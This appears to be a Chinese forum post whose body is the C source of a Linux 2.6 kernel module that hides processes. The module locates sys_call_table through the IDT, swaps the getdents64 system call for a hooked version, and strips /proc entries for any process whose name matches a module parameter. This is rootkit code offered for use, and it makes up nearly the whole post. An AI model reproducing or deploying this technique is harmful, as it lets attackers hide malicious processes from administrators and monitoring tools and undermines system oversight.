CODE: #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <linux/types.h> #include <linux/dirent.h> #include <linux/string.h> #include <linux/file.h> #include <linux/fs.h> #define CALLOFF 100 //使用模塊參數來定義需要隱藏的進程名 char *processname; module_param(processname, charp, 0); struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)) * idt; void** sys_call_table; asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count); char * findoffset(char *start) { char *p; for (p = start; p < start + CALLOFF; p++) if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85') return p; return NULL; } int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } struct task_struct *get_task(pid_t pid) { struct task_struct *p = get_current(),*entry=NULL; list_for_each_entry(entry,&(p->tasks),tasks) { if(entry->pid == pid) { printk("pid found\n"); return entry; } } return NULL; } static inline char *get_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } int get_process(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer[64] = {0}; if (task) { get_name(task, buffer); if(strstr(buffer,processname)) return 1; else return 0; } else return 0; } asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count) { //added by lsc for process long value; struct inode *dinode; int len = 0; int tlen = 0; struct linux_dirent64 *mydir = NULL; //end //在這裡調用一下sys_getdents,得到返回的結果 value = (*orig_getdents) (fd, dirp, count); tlen = value; //遍歷得到的目錄列表 while(tlen > 0) { len = dirp->d_reclen; tlen = tlen - len; printk("%s\n",dirp->d_name); //在proc文件系統中,目錄名就是pid,我們再根據pid找到進程名 if(get_process(myatoi(dirp->d_name)) ) { printk("find process\n"); //發現匹配的進程,調用memmove將這條進程覆蓋掉 memmove(dirp, (char *) dirp + dirp->d_reclen, tlen); value = value - len; } if(tlen) dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen); } return value; } void **get_sct_addr(void) { unsigned sys_call_off; unsigned sct = 0; char *p; asm("sidt %0":"=m"(idtr)); idt = (void *) (idtr.base + 8 * 0x80); sys_call_off = (idt->off2 << 16) | idt->off1; if ((p = findoffset((char *) sys_call_off))) sct = *(unsigned *) (p + 3); return ((void **)sct); } static void filter_exit(void) { if (sys_call_table) sys_call_table[__NR_getdents64] = orig_getdents; } static int filter_init(void) { //得到sys_call_table的偏移地址 sys_call_table = get_sct_addr(); if (!sys_call_table) { printk("get_act_addr(): NULL...\n"); return 0; } else printk("sct: 0x%x\n", (unsigned int)sys_call_table); //將sys_call_table中註冊的系統調用sys_getdents替換成我們自己的函數hack_getdents orig_getdents = sys_call_table[__NR_getdents64]; sys_call_table[__NR_getdents64] = hacked_getdents; return 0; } module_init(filter_init); module_exit(filter_exit); MODULE_LICENSE("GPL"); |
[火星人 ] 在2.6內核下實現進程隱藏已經有362次圍觀